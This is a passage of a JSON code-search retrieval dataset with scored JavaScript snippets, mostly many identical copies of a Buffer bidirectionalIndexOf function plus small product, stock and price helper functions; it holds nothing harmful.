byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" } ]
eaf391bf5b4fc852f24c91593e78c12a
=> Name: Scissors => ID: 0 => Price: $10 => Stock: 8
[ { "docid": "77e4a68ad30715576003fccf02b62c3b", "score": "0.4872601", "text": "function describeProduct(product) {\n console.log('Name: ' + product.name);\n console.log('ID: ' + product.id);\n console.log('Price: $' + product.price);\n console.log('Stock: ' + product.stock);\n}", "title": "" } ]
[ { "docid": "1cd04f4f452511b432b34e9c7e99d73e", "score": "0.67090213", "text": "function stock(){\n this.name;\n this.num; //num of stocks\n this.totalPrice; \n}", "title": "" }, { "docid": "c6c1ff351bbadbeb9d15fd3f0633326a", "score": "0.59516966", "text": "function Stockitem() {\r\n this.type = 'stockpile';\r\n this.name = 'Unknown';\r\n this.attack = 0;\r\n this.defense = 0;\r\n this.upkeep = 0;\r\n this.price = 0;\r\n}", "title": "" }, { "docid": "516bf6723c9ba7ad6a2354a833d5baa9", "score": "0.5775148", "text": "function Item(id, name, price, dept, stock) {\n this.id = id;\n this.name = name;\n this.price = price;\n this.department = dept;\n this.stock = stock;\n}", "title": "" }, { "docid": "d54fd56ee64065b427c286f90a472742", "score": "0.55129325", "text": "getStock({Elements}){\n\t\treturn Elements[1].DataSeries.volume.values;\n\t}", "title": "" }, { "docid": "41e5794b1cb6e14f669f02d2f6ff106a", "score": "0.5467999", "text": "function itemsAndPrices(index){\n return `${Object.keys(cart[index])} at $${getCart()[index][Object.keys(cart[index])]}`;\n}", "title": "" }, { "docid": "7b2392d8e82c0aed8b00ed03e71a7fb3", "score": "0.5415328", "text": "function StockModel(name,price, change, changePrecentage){\n /**\n * Een array met de stock informatie in (array prototype stock van de stockmodel.\n * @type {Array}\n */\n this.stock = [name,parseFloat(price),parseFloat(change),changePrecentage];\n}", "title": "" }, { "docid": "1180d709721ee68f7343273f7a12be8c", "score": "0.5383532", "text": "function dispStock(x)\n{\n console.log(\"Item ID\" + \" || \" + \"Product Name\"+ \" || \" + \"Price\" + \" || \" + \"Quantity Available\");\n for(var i=0;i<x.length;i++)\n {\n console.log(x[i].item_id + \" || \" + x[i].product_name + \" || \" + \"$\"+ x[i].price + \" || \" + \"Qty. \"+ x[i].stock_quantity);\n };\n}", "title": "" }, { "docid": "1180d709721ee68f7343273f7a12be8c", "score": "0.5383532", "text": "function dispStock(x)\n{\n console.log(\"Item ID\" + \" || \" + \"Product Name\"+ \" || \" + \"Price\" + \" || \" + \"Quantity Available\");\n for(var i=0;i<x.length;i++)\n {\n console.log(x[i].item_id + \" || \" + x[i].product_name + \" || \" + \"$\"+ x[i].price + \" || \" + \"Qty. \"+ x[i].stock_quantity);\n };\n}", "title": "" }, { "docid": "a1d4b52938c5939d7621151c0ff4c0d2", "score": "0.5374118", "text": "function priceSwich() {\r\n\t\tlet id;\r\n\t\tfor (let i = 0; i < table.length; i++) {\r\n\t\t\tif (table[i].id !== \"\") {\r\n\t\t\t\tid = table[i].id;\r\n\t\t\t\ttable[i].innerText = prices[month][currency][id];\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "b9f58a4520bdd143fecbc51c4eb6062b", "score": "0.5347929", "text": "function sellAll(stock) {\n // Current price is only considered a column of the first row\n table.children[stock].children[0].children[0].children[0].children[1].children[6].children[0].value = table.children[stock].children[0].children[0].children[0].children[1].children[0].innerText.replace(/,/g, '');\n for (let t = 2; t < table.children[stock].children[0].children[0].children[0].children.length; t++) {\n table.children[stock].children[0].children[0].children[0].children[t].children[5].children[0].value = table.children[stock].children[0].children[0].children[0].children[t].children[0].innerText.replace(/,/g, '');\n }\n}", "title": "" }, { "docid": "00dde7172842d942edeb284046ea080f", "score": "0.5318821", "text": "function updateProducts(id, units, name, price, stockQty) {\n\t// console.log(`ID: ${id} Units: ${units}`);\n\n\tlet query = 'UPDATE products SET ? WHERE ?';\n\n\tconnection.query(query,\n\t[\n\t\t{\n\t\t\tstock_quantity: stockQty - units\n\t\t},\n\t\t{\n\t\t\tid: id\n\t\t}\n\t], (error, results) => {\n\t\tif (error) throw error;\n\n\t\t// Show customer their purchase\n\t\tpurchaseTable = new Table({\n\t\t\thead: ['Product', 'Units', 'Total Cost']\n\t\t});\n\n\t\tpurchaseTable.push([name, `${units}X`, `$${units*price}`]);\n\t\tconsole.log('\\nThank you for your purchase, here is your receipt...');\n\t\tconsole.log(purchaseTable.toString());\n\t});\n}", "title": "" }, { "docid": "22f0ddee409bd50c0e90c3f5523e14e5", "score": "0.5276613", "text": "transform (stock) {\n return {\n // add your transformation object here\n id: stock.id,\n category_id: stock.category_id,\n product_id: stock.product_id,\n bar_id: stock.bar_id,\n stock: stock.stock\n }\n }", "title": "" }, { "docid": "4cd9bad698e5be2e23e92190f63294d7", "score": "0.5251824", "text": "function Item (name, price) {\n this.name = name;\n this.price = price;\n}", "title": "" }, { "docid": "e1f609a4791b6f224b5b364413d35c93", "score": "0.52039844", "text": "function getInfo()\n {\n // return name + \" \" + price; \n return name + \" \" + price + \" \" + (++id);\n }", "title": "" }, { "docid": "49abcebe7e1552f1737a00b0b97e2f95", "score": "0.52017325", "text": "function stockNumber(idstock, idenCart, precio) {\n const cartNumber = idenCart ? parseInt(idenCart[0]) : 0;\n const stockNumber = parseInt(idstock[0]);\n const price = precio.slice(1);\n\n return (obj = {\n cantidadInt: stockNumber,\n enCarritoInt: cartNumber,\n precioInt: parseInt(price),\n });\n}", "title": "" }, { "docid": "90a1b1f04127ba5376102cfe318788b3", "score": "0.51939726", "text": "function createShopItem(name, price){\n this.name = name;\n this.price = price * 10;\n this.value = price;\n return this\n}", "title": "" }, { "docid": "196940f53bde6e0a25de4fa398d29cb1", "score": "0.51852167", "text": "function createProduct(id, name, stock, price) {\n return {\n id: id,\n name: name,\n stock: stock,\n price: price,\n describe: function() {\n console.log('Name: ' + this.name);\n console.log('ID: ' + this.id);\n console.log('Price: $' + this.price);\n console.log('Stock: ' + this.stock);\n },\n setPrice: function(newPrice) {\n if (newPrice < 0) {\n console.log(\"new price is invalid!\");\n } else {\n this.price = newPrice;\n }\n },\n };\n}", "title": "" }, { "docid": 